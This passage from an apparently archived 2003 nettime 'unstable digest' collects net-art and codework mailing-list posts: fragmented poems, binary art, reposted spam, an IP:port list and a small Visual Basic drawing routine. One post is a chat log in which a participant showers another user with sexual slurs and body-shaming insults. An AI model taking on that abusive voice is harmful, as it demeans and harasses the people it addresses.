0AWith=20best=20regards,=0D=0A=0D=0AWSIS=20Execu=\ntive=20Secretariat=0D=0Ahttp://www.itu.int/wsis/=0D=0A=0D=0A\n\n\n\n\n\nDate: Thu, 14 Aug 2003 13:27:42 -0700 (PDT)\nFrom: portholeaccel <portholeaccel {AT} yahoo.com>\nTo: syn <syndicate {AT} anart.no>\nSubject: true Love \n\n(2:13:21 PM): tru love \nvedat_vedat70 (2:13:57 PM): sorry.. wrong message.. those are in turkish\nportholeaccel (2:14:17 PM): still true love \nportholeaccel (2:14:42 PM): true love turkey \nvedat_vedat70 (2:14:57 PM): true love. you and me?\nportholeaccel (2:15:11 PM): 4 ever \nvedat_vedat70 (2:15:26 PM): i believe in love\nportholeaccel (2:15:41 PM): believing in breaking your heart \nportholeaccel (2:15:51 PM): true love for ever \nvedat_vedat70 (2:16:00 PM): anyway i believe in\nportholeaccel (2:16:07 PM): believe \nportholeaccel (2:16:19 PM): you believe in wal mart \nportholeaccel (2:16:28 PM): wal mart turkey whore \nvedat_vedat70 (2:16:33 PM): wal mart?\nportholeaccel (2:16:57 PM): world distrubutor of reduced prices\nportholeaccel (2:17:03 PM): whoezzzzzzzzzzzes\nportholeaccel (2:17:21 PM): you like to lick fat \nvedat_vedat70 (2:17:22 PM): i heard but i don't know actually what is it\nportholeaccel (2:17:39 PM): fat consumer fata**\nportholeaccel (2:17:50 PM): true love fat licking \nportholeaccel (2:18:03 PM): your wife may lick the fat \nvedat_vedat70 (2:18:28 PM): the fat is my tool\nportholeaccel (2:18:48 PM): now it is your object of desire\nportholeaccel (2:19:10 PM): lick hot fat amerkan fat whore\nportholeaccel (2:19:18 PM): HOT\nportholeaccel (2:19:22 PM): FATTY \nportholeaccel (2:19:24 PM): FAt\nvedat_vedat70 (2:19:45 PM): is this fat whore you?\nportholeaccel (2:20:00 PM): i have many fat whores for you \nportholeaccel (2:20:07 PM): am maddam \nportholeaccel (2:20:15 PM): of fat amerikan whores \nvedat_vedat70 (2:20:20 PM): how can i see this whores?\nportholeaccel (2:20:33 PM): many fat walmart whores \nportholeaccel (2:20:46 PM): packed big fun fat for you \nvedat_vedat70 (2:21:10 PM): do you have web cam?\nportholeaccel (2:21:48 PM): do you want to lick fat via web cam \nvedat_vedat70 (2:21:56 PM): yess\nportholeaccel (2:22:04 PM): do you have fat credit card \nportholeaccel (2:22:14 PM): ha ha aha haha ha ahaha \nvedat_vedat70 (2:22:16 PM): forget that\nportholeaccel (2:22:31 PM): you fat lupus \nportholeaccel (2:22:42 PM): you pay to lick the amerikan fat \nvedat_vedat70 (2:22:48 PM): i don't want to pay for this\nportholeaccel (2:22:49 PM): you have no moral \nportholeaccel (2:23:00 PM): you cheat on your wife \nvedat_vedat70 (2:23:09 PM): i am single\nportholeaccel (2:23:18 PM): you are the fat whore look in the mirror\nvedat_vedat70 (2:23:25 PM): bye\nportholeaccel (2:23:34 PM): Marital Status: Married But Looking Gender: Male Occupation: webmaster \nportholeaccel (2:23:47 PM): bye slut fat a**\n\n\ndepARTURES Vs. arRIVALS\n_________________________________________________\n*************Bullauge Beschleuniger*********\n\n\n                                                   http://www.porthole-accelerator.org\n\n\n\n\nDate: Fri, 15 Aug 2003 02:16:38 +0200\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: private conversation\n\n    and info\n     text\n   text\n    indenting\n\n\n\n\n\n\n   and writing files\n    fil \\ a                        r            d o l l $\n       control  Contro/      \\  \\ a r              d o l l $\n       control  Contro/      \\   \\ a r              d o l l $\n       control  Contro/      \\    \\ a r              d o l l $\n       control  Contro/      \\ \\ \\ a r               d o l l $\n       control  Contro/      \\ \\ a r               d o l l $\n       control  Contro/      \\ \\ a \\ a r               d o l l $\n       control  Contro/      \\ \\ a r               d o l l $\n       control  Contro/      \\ \\ a \\ a r               d o l l $\n       control  Contro/      \\ \\ a r               d o l l $\n       control  Contro/      \\ a r              d o l l $\n       control  Contro/       \\\n       alt                     \\\n                                   d o l l $\n\n       alt\n            /\n           /\n          /\n\n\n\n       alt\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\n\nnettime unstable digest vol 60\nSun Aug 17 00:00:54 2003\n\n\nSubject: the fires (for E. Pauline Johnson)\n    From: Ryan Whyte <ryan.whyte {AT} UTORONTO.CA>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: =?iso-8859-1?q?=28=B1=A4=B0=ED=29=B3=AA=B4=C2_=C0=FC?=\n    From: \u00c6\u00c4\u00bf\u00f6\u00b6\u00f3\u00c0\u00ce <seock75 {AT} powerline.or.kr>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: THE RECALL ALPHABET (fwd)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: =?iso-8859-1?q?=FD?=\n    From: www.noemata.net <noemata {AT} kunst.no>\n    To: Anders Moe <balaksium {AT} yahoo.no>, 7-11 <7-11 {AT} mail.ljudmila.org>\n\nSubject: Re: Fwd: <nettime> what should be in a high school biology text?\n    From: exp {AT} surfeu.fi\n    To: CYBERMIND {AT} listserv.aol.com\n\nSubject: utility problem\n    From: Derek R <derekr {AT} DEREKROGERSON.COM>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: Re: THE RECALL ALPHABET\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: O p   tio n\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: \n    From: \"geert lovink\" <geert {AT} xs4all.nl>\n    To: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: true Love \n    From: portholeaccel <portholeaccel {AT} yahoo.com>\n    To: syn <syndicate {AT} anart.no>\n\nSubject: private conversation\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 17 Aug 2003 11:39:42 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200308171439.h7HEddJ16838 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0308/msg00062.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 60"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00023",
                "content": "\nFrom: Zazons Hazonyu <shore-crocodile {AT} arcor.de>\nSubject: Man hunter  (id: 1uVOBs drove)\nDate: Fri, Aug 8, 2003, 5:27 am\n\n\ncrossly denied seat bed\nMan hunter - sex from real lifetailor starry cloth\nNo man is safe.\nImagine going about your daily life, then out of nowhere you are attacked by\ntwo of the h0ttest babes you have ever seen, whose only intent is to fack\nand suck you.\nfreedom presence longing\nEnter site here\nago Canterbury gorgeous benefit poodle intended\n\nDelete/Add y0ur e-mai1 fr0m/to our database.\nC1ick heretemple somehow Persons\nMine box- arms\npurpose hunger a-\n\n\n\nDate: 5 Aug 2003 21:02:03 -0000\nTo: syndicate {AT} anart.no\nFrom: HUB <hub {AT} x-arn.org>\nSubject: ASRF/0.2\n\n\nU/x1EpEbvOq37VvVwkddzAwPx18VlcikCCH4Vp/9pumgUBUCAXc3LlfzlrKW0Q5Vu7Essck\nA  UaLkRCTSXXL8P++fIYY/B3t/N9k4/8MFBAQgKhjCYgpqKZlxyY1V//uQBAAAAvFT4uGD\nGIJd  UVyezJMq/3vMpREOjg8NDgDggmH3mr9vpvr/0FJFY2lrtCSCAE3mA0XEi88hCv918\nIM0Mf4U  U86m9pcV8+pq0zJV2JvGCIwSAzWXK8xUvaVAAAQjyUp/sEDW5IsAyOVOt2KQk2\nX+GNtffWPO  UUSGFiY8rwq8pRy5o2Z7BhO0N57DGbZbORu2kQjIjQ9S1yzyJW2PFyaspIA\nYGCAWlDEevVfW  UL0gTFAYLTod3vc37t+trXe5EWtPbMKjByBI2FigjJJFzIs/p+VOvI+F\nGAnGGDOa7hPDj64o  Uq6OGmni0rzr/Hz9fzEXwclcq8G0kkCkAApQCCb/qtp4cqW+YdkWP\n/wzOUA2gcZ6xbbElsIE  UyPboTAcVzgccgxLuzZO59kVjJkkcGpOzU9OHXUwx4Ve52GpLI\n7WpfV0o6HFDs0SgmLpsm9P  UtmbzOYGL7c5me0cjqNUAYzlsaneMxBxdlxLq5EyxZkbAyZ\nQTBWTXKoi0YBsSEQKoZbzpHPd  UoyRTTRXSZNB0aqqzN7qsiipbqZqTdW1rsvvWUSAbJXr\n/kjEfr3+drX5uSh0p8qWPC5Bquqe  U5EK7E310TYi1LhXjJJFRcWp0Vr1NsYqRU1BV3WdR\nX82aCJcCAEBy9EjzpbNH2rX/JzJ2s7a  U2Ws4I5a7OjHeKJIr6wj5BHXKEt8/aH2ycAhTh\nQzs3c8quei0WEQ4idd3AAAQkVYbVidboV0  U0laRT0xOCBGQU1JTFk9IlNBTlNTRVJJRiI\ngRkFDRT0iQXJpYWwiIExBTkc9IjAiPjxCPjxB  Under de tv\u00e5 \u00e5r som Starfield Si\nmulation arrangerat konserter har Malm\u00f6  \n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR V0.2 beta\nGenerated by : becquerel.noos.net \nDate: 2003-08-05 23:02:03 \nPowered By: http://x-arn.org/hub/osm/ \n\n\n\nDate: 2 Aug 2003 23:05:52 -0000\nFrom: HUB <hub {AT} x-arn.org>\nTo: syndicate {AT} anart.no\nSubject: ASRF\n\n\nover this term is an utter waste of time -- indicates my confidence in\nthe term   ozj  of the mind\" & that is & must be the over-arching defin\nition of the   on line: http://kunstradio.at/SENDEN/exchange_en.html  o\nn site: at rhiz (http://www.rhiz.at) and fluc (http://www.fluc.at), Vie\nnna  outstanding production from the region of Northern Hesse with its\n=BBGolden=  of new media tools for exhibition and exposition.  occupati\non: writing  ounounocerocerounounounounounocerounocerounoceroceroceroun\nounocerocer  ounounounounocerocerounocerocerounounocerounocerocerounoun\nounounouno  of the specific mobile phone in its association with the ot\nher mobile phones  Precedence: list  Punishment found  Punishment found\n  Punishment found  PARADISE command  PARADISE command\n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR\nGenerated by : lns-th2-10-82-64-151-148.adsl.proxad.net\nDate: 2003-08-03 01:05:52\nPowered By: http://x-arn.org/hub/osm/05.php3\n\n\nDate: Sat, 9 Aug 2003 02:06:47 -0700\nFrom: Derek R <derekr {AT} DEREKROGERSON.COM>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: 410 Gone\n\n\n100 101\n200 201 202 203 204 205 206\n300 301 302 303 304 305 306 307\n400 401 402 403 404 405 406 407 408\n409 411 412 413 414 415 416 417\n500 501 502 503 504 505\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Traditional Codework Poem\nDate: Fri, 8 Aug 2003 11:53:51 -0400 (EDT)\n\n\n\n\nTraditional Codework Poem\n\n\n\n   puolikesyjenXCurrent\n   beautryuuzan\n   streitwieserlandweggetje\n   emails to selected interested candidates.\n   MadhuriSpitfire\n   If you are interested in starting your own home-based business, Click\n   Here to sign up! epiginose\n   We will send you all of the information proportionereAnchner\n   faenapuolikesyjen\n   We look forward to hearing from you! XCurrentwiedenskiego\n   puolikesyjenXCurrent82) Defend yourself! Ma\n   beautryuuzan ac yrs old wil\n   streitwieserlandweggetjeete/Add y0ur e-mai1\n   MadhuriSpitfirel, routine.\n   faenapuolikesyjenut a Diet! Try it\n7\t   puolikesyjenXCurrent82) Defend yourself! Ma\n8\t   beautryuuzan ac yrs old wil\n9\t   streitwieserlandweggetjeete/Add y0ur e-mai1\n10\n11\t   MadhuriSpitfirel, routine.\n12\t+ D 1\n13\n14\tdrink tea, drive to the box store and fill the pick up with boo\n15\t+ D 127\n16\t   Here to sign up! epiginose957) HardcoreMoney News - Aug\n17\n18\t+ D 128 Aug  8 Doctor Fit          (35\n19\t   faenapuolikesyjenut a Diet! Try itpico zz\n20\tpico zz\n\n\n___\n\n\nDate:         Fri, 8 Aug 2003 13:51:00 -0400\nFrom: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\nSubject: oh no more prelubes\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nno\n\nh  oof  h  ell\nt  ank  led\n)...lake....(\n\nsOOn\n\n\n\ndo  Or\n\nfree sir\nz  z  z  z\nc  luB  holE\nDer\n\nAMPLE\n\n\n\nsan  dia\n\ncloUdy  paNts\n)sc  uD  s  hEa\nd  ,)cle  a  R\n\n(ant)\n\n\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-3029\nbennett.23 {AT} osu.edu\n___________________________________________\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Fri, 8 Aug 2003 04:08:39 -0400 (EDT)\nSubject: luna\n\n\n\n\nhttp://www.asondheim.org/portal/archaea9.exe\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nFrom: \"August Highland\" <hmfah3 {AT} hotmail.com>\nTo: <syndicate {AT} anart.no>\nDate: Tue, 5 Aug 2003 05:49:39 -0700\nSubject: Encyclopoetica\n\n\nEncyclopoetica\n\n\nwww.encyclopoetica.com/1.html\nwww.encyclopoetica.com/2.html\nwww.encyclopoetica.com/3.html\nwww.encyclopoetica.com/4.html\nwww.encyclopoetica.com/5.html\nwww.encyclopoetica.com/6.html\nwww.encyclopoetica.com/7.html\n\nsincerely,\naugust highland\n\nmuse apprentice guild\n--\"expanding the canon into the 21st century\"\nwww.muse-apprentice-guild.com\n\nculture animal\n--\"following in the footsteps of tradition\"\nwww.cultureanimal.com\n\n\n\n\n\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.505 / Virus Database: 302 - Release Date: 7/30/2003\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: archaea7 flannel\nDate: Wed, 6 Aug 2003 20:41:39 -0400 (EDT)\n\n\n\narchaea7 flannel\n\nhttp://www.asondheim.org/portal/archaea7.exe\n\nlocomotive boiler rivet assembly gridwork deconstruction phase\nnothing lasts forever\nat archaea7 parasitic color reconstruction\nthere is no hardness to it\n\"for a while\"\n\nvbcode for archaea6.exe\n\nPrivate Sub Form_Click()\n: Randomize\nm = 0.1\nz = -2\nx = 0\nj = z\np = 1\ntwo:\nj = z\nk = x\nIf t < 16 Then t = t + 1 Else GoTo three\nx = -(x ^ 1 / 2) + z - 1\np = p + 1\nq = 15 * t / 2\nLine (-k * Tan(k) / 20, j)-(x, z * 2 * Sin(z)), Point(ScaleWidth - x \\ 50,\nScaleHeight - x \\ 100)\nb = -k * Cos(k)\nbb = z * 2 * Cos(z)\nMsg = (bb & Chr(13) & j & Chr(13) & b & Chr(13) & x)\nGoTo two\nthree: x = 0\nz = z + 0.2 * m\nt = 1\nIf x > ScaleWidth Then x = y / 3\nIf y > ScaleHeight Then y = 1\nIf p Mod 100000 < 4 Then MsgBox Msg, , \"Line Output\"\nIf p > 4300000 Then Stop\nGoTo two\nEnd Sub\n\n\n__\n\n\nDate:         Fri, 8 Aug 2003 10:25:09 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: Re: XOR-SKELETON 5 8\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\non 8/7/03 10:37 AM,     MWP at mpalmer {AT} JPS.NET wrote:\n\n> 000000000000000000000000000000000000000000000000000000000000000000000000\n> 111110000000000000000000000000000000000000000000000000000000000011111111\n> 111110000011111000000000000000000000000000000000111111110000000011111111\n> ...\n\nENTROPY Index to the PRECEEDING (1 = MAX ENTROPY):\n\nINDEX    VAL   NORMALIZED VAL\n\n0    0    0\n1    2    0.028\n2    6    0.083\n3    10    0.139\n4    14    0.194\n5    15    0.208\n6    15    0.208\n7    17    0.236\n8    17    0.236\n9    17    0.236\n10    20    0.278\n11    24    0.333\n12    26    0.361\n13    28    0.389\n14    29    0.403\n15    29    0.403\n16    33    0.458\n17    31    0.431\n18    35    0.486\n19    38    0.528\n20    40    0.556\n21    40    0.556\n22    42    0.583\n23    43    0.597\n24    45    0.625\n25    47    0.653\n26    49    0.681\n27    53    0.736\n28    56    0.778\n29    54    0.75\n30    56    0.778\n31    56    0.778\n32    57    0.792\n33    59    0.819\n34    63    0.875\n35    67    0.931\n36    71    0.986\n37    69    0.958\n38    65    0.903\n39    61    0.847\n40    57    0.792\n41    56    0.778\n42    56    0.778\n43    54    0.75\n44    54    0.75\n45    54    0.75\n46    51    0.708\n47    47    0.653\n48    45    0.625\n49    43    0.597\n50    42    0.583\n51    42    0.583\n52    38    0.528\n53    40    0.556\n54    36    0.5\n55    33    0.458\n56    31    0.431\n57    31    0.431\n58    29    0.403\n59    28    0.389\n60    26    0.361\n61    24    0.333\n62    22    0.306\n63    18    0.25\n64    15    0.208\n65    17    0.236\n66    15    0.208\n67    15    0.208\n68    14    0.194\n69    12    0.167\n70    8    0.111\n71    4    0.056\n72    0    0\n\n\n\nDate: Mon, 4 Aug 2003 12:51:13 -0700\nFrom: Derek R <derekr {AT} DEREKROGERSON.COM>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: ~ Conclusions ~\n\n\n  1.\n  2.\n  3.\n  4.\n\n\n\n\n\n\n\n\n\nDate:         Thu, 7 Aug 2003 10:37:45 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: XOR-SKELETON 5 8\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n000000000000000000000000000000000000000000000000000000000000000000000000\n111110000000000000000000000000000000000000000000000000000000000011111111\n111110000011111000000000000000000000000000000000111111110000000011111111\n111110000011111000001111100000001111111100000000111111110000000011111111\n111110000011111011110000100000110001111100000000111111110000000011111111\n000001110011111011110000100000110001111111111000111111110000000011111111\n000001110011111011110000100000110001111111111000110000011111111111111111\n000001110011111011110000100000110001111100000111110000011111000001111111\n111001110011111011110000011111000001111100000111110000011111000001111100\n111001110011100111110000011111000001111100000111110000011111000001111100\n111001110011100111001110011111000001111100000111110000011111000010000011\n111001110011100111001110011100111001111100000111001111101111000010000011\n111001110011100111001110011100110110001111100111001111101111000010000011\n111001110011100100110001011100110110001111100111110001101111000010000011\n000110000011100100110001011100110110001111100111110001101100111010000011\n100110000011100100110001011100110110001111100111110001100011000110001100\n100110111101100100110001011100110110001100011000110001100011000110001100\n100110111101100111001001100011000110001100011000110001100011000110001100\n100110110010011011001001101100100110001100011000110001100011000110001100\n100110110010011011001001101100100110110010011000110001100011000101110011\n100110110010011011001001101100100110110010011011110110010011000101110011\n100110110010011011001001101100101001001110011011110110011100100101110011\n100110110010011000110110101100101001001110011011110110011100100101001101\n011010111010011000110110101100101001001110011011110110011100100101001101\n011010111010010111010110101100101001001110011011110110010011011001001101\n011010111010010111010110010010101001001101100100110110010011011001001101\n011010111010010111010110101101011010110101100100110110010011011001001101\n011010110101101011010110101101011010110101101011010110010011011001001101\n011010110101101011010110101101011010110101101011010110101101011010110010\n011010110101101011010110101101011010110101101011101001011101011001001010\n010101010101101011010110101101010101001001101011101001011101011001001010\n010101010101010110101001101101010101001001101011101001011101011001001010\n101010100101010110101010010101010101001001101011101001011101011001001010\n101010100101010110101010010101011010101001101011101001010010100101001010\n101010100101010110101010010101011010101010101010101001010010100101001010\n101010100101010110101010101010101010101010101010101010101010100101001010\n101010101010101010101010101010101010101010101010101010101010101010101010\n010100101010101010101010101010101010101010101010101010101010101001010101\n010100101001010010101010101010101010101010101010010101011010101001010101\n010100101001010010100101001010100101010110101010010101011010101001010101\n010100101001010001011010001010011011010110101010010101011010101001010101\n101011011001010001011010001010011011010101010010010101011010101001010101\n101011011001010001011010001010011011010101010010011010110101010101010101\n101011011001010001011010001010011011010110101101011010110101101011010101\n010011011001010001011010110101101011010110101101011010110101101011010110\n010011011001001101011010110101101011010110101101011010110101101011010110\n010011011001001101100100110101101011010110101101011010110101101000101001\n010011011001001101100100110110010011010110101101100101000101101000101001\n010011011001001101100100110110011100100101001101100101000101101000101001\n010011011001001110011011110110011100100101001101011011000101101000101001\n101100101001001110011011110110011100100101001101011011000110010000101001\n001100101001001110011011110110011100100101001101011011001001101100100110\n001100010111001110011011110110011100100110110010011011001001101100100110\n001100010111001101100011001001101100100110110010011011001001101100100110\n001100011000110001100011000110001100100110110010011011001001101100100110\n001100011000110001100011000110001100011000110010011011001001101111011001\n001100011000110001100011000110001100011000110001011100111001101111011001\n001100011000110001100011000110000011100100110001011100110110001111011001\n001100011000110010011100000110000011100100110001011100110110001111100111\n110000010000110010011100000110000011100100110001011100110110001111100111\n110000010000111101111100000110000011100100110001011100111001110011100111\n110000010000111101111100111000000011100111001110011100111001110011100111\n110000010000111101111100000111110000011111001110011100111001110011100111\n110000011111000001111100000111110000011111000001111100111001110011100111\n110000011111000001111100000111110000011111000001111100000111110000011000\n110000011111000001111100000111110000011111000001000011110111110011100000\n111111111111000001111100000111111111100011000001000011110111110011100000\n111111111111111100000011000111111111100011000001000011110111110011100000\n000000001111111100000000111111111111100011000001000011110111110011100000\n000000001111111100000000111111110000000011000001000011111000001111100000\n000000001111111100000000111111110000000000000000000011111000001111100000\n000000001111111100000000000000000000000000000000000000000000001111100000\n000000000000000000000000000000000000000000000000000000000000000000000000\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: B a c k     |<--   S p a c e\nDate: Mon, 04 Aug 2003 23:37:34 +0200\n\n\n\n\n                               B a c k            |<--\n                           S p a c e\n                                     C m\\d\n                                 \\\n                       S h e l l  \\-->|\n                                 T \\\n                     i l e n e s t a i n s i e t a i n s i\n                                      \\\n                                   w  \\\n                                      \\\n                                   w  \\          /\n                                                /\n                                    e          /\n                                              /\n                                      r      /\n                                            /\n                                          t/\n                                          /    \\\n                                                               y          \\\n                                                \\\n                                                \\\n                                      /           \\\n                                  xfb/2            \\\n                                 0xf/740xf05d\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nDate: 2 Aug 2003 23:05:52 -0000\nFrom: HUB <hub {AT} x-arn.org>\nTo: syndicate {AT} anart.no\nSubject: ASRF\n\n\nover this term is an utter waste of time -- indicates my confidence in\nthe term   ozj  of the mind\" & that is & must be the over-arching defin\nition of the   on line: http://kunstradio.at/SENDEN/exchange_en.html  o\nn site: at rhiz (http://www.rhiz.at) and fluc (http://www.fluc.at), Vie\nnna  outstanding production from the region of Northern Hesse with its\n=BBGolden=  of new media tools for exhibition and exposition.  occupati\non: writing  ounounocerocerounounounounounocerounocerounoceroceroceroun\nounocerocer  ounounounounocerocerounocerocerounounocerounocerocerounoun\nounounouno  of the specific mobile phone in its association with the ot\nher mobile phones  Precedence: list  Punishment found  Punishment found\n  Punishment found  PARADISE command  PARADISE command\n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR\nGenerated by : lns-th2-10-82-64-151-148.adsl.proxad.net\nDate: 2003-08-03 01:05:52\nPowered By: http://x-arn.org/hub/osm/05.php3\n\n\nDate:         Wed, 6 Aug 2003 23:11:09 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: Puzzle\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nCan somebody explain these to me?\n\n80.110.157.76:2282\n220.79.241.77:2282\n12.208.85.60:2282\n68.55.211.14:2282\n66.41.156.239:2282\n217.129.201.114:2282\n218.253.129.15:2282\n211.224.237.188:2282\n67.65.17.132:2282\n216.164.174.124:2282\n207.193.63.121:2301\n213.206.5.89:2326\n213.206.5.224:2326\n213.206.5.5:2326\n64.83.144.30:2963\n168.9.253.251:3347\n195.7.172.236:4480\n61.11.11.172:6588\n200.206.185.69:6588\n80.234.128.136:6588\n68.15.27.215:6588\n62.110.206.209:6588\n200.221.103.98:6588\n200.221.73.218:6588\n12.231.187.185:6588\n62.110.49.189:6588\n200.207.205.131:6588\n80.24.173.84:6588\n80.32.24.23:6588\n200.31.136.199:6588\n81.202.22.228:6588\n200.181.6.66:6588\n200.93.78.234:6588\n68.41.69.131:6588\n193.95.127.59:6588\n200.204.181.86:6588\n200.158.120.182:6588\n200.63.217.146:6588\n61.11.48.28:6588\n200.84.219.217:6588\n61.1.124.134:6588\n4.23.131.10:6588\n210.201.208.239:6588\n68.82.101.89:6588\n200.32.75.60:6588\n200.221.58.41:6588\n200.221.19.51:6588\n200.221.116.31:6588\n200.168.40.121:6588\n200.161.209.173:6588\n200.158.132.242:6588\n212.50.191.14:6588\n200.101.13.138:6588\n200.42.220.165:6588\n200.24.174.146:6588\n193.197.170.182:7007\n62.104.7.50:7051\n\n\n\nDate:         Sat, 9 Aug 2003 14:04:45 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Language is Your Enemy\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nLanguage is Your Enemy\n\n\n0 else bb dialog --inputbox Taking \"Now From Breathing for the Crawling\n\"Are You \"These cc sed i > 's/ / yon /g' Describe Death of \"They --msgbox\nDying Tomb\" \"You Thousands\" Disagreement\" \"We are in Exciting \"An Escape\"\n\"The Difference and Between Language Pain\" \"To Ruination Europe-America\"\n--yesno echo Enemy \" \"Language is Your \"This Picture a fiFavor Love Love\"\n2>>bb \"Describe \"Enter State Promise or Final Vows \"Can need Nothing\"\nEveryone, Destroying\" nothing\" 2>> Inscribing your >> Made \"Have Vows\"\nHarsh Times Nothing All\" \"Speech does at \"Is This \"end\" unalias rm alias\nzz; cc; rm='rm -i' mn my mine minq yours Speak Are Throat\" Wounded\n--textbox Oath\" We Collusion\" then if [ == $? 1 ]; date whoami\n\"Time-Date-Stamp\" These Land mines\"  as Inscribe\" Now\" \"War\nTime-Date-Stamp\" cat Ruins\" Wonder Speech\" Effect\" Therapeutic\" you am aq\nzz\n\n\n___\n\n\n\nDate: Sat, 9 Aug 2003 12:27:47 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nthere was a grammatical mistake in my previous email,\ni hope you can find it in your heart to forgive me\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nall those years learning foreign languages . . .\n\n\n\n\n\nnettime unstable digest vol 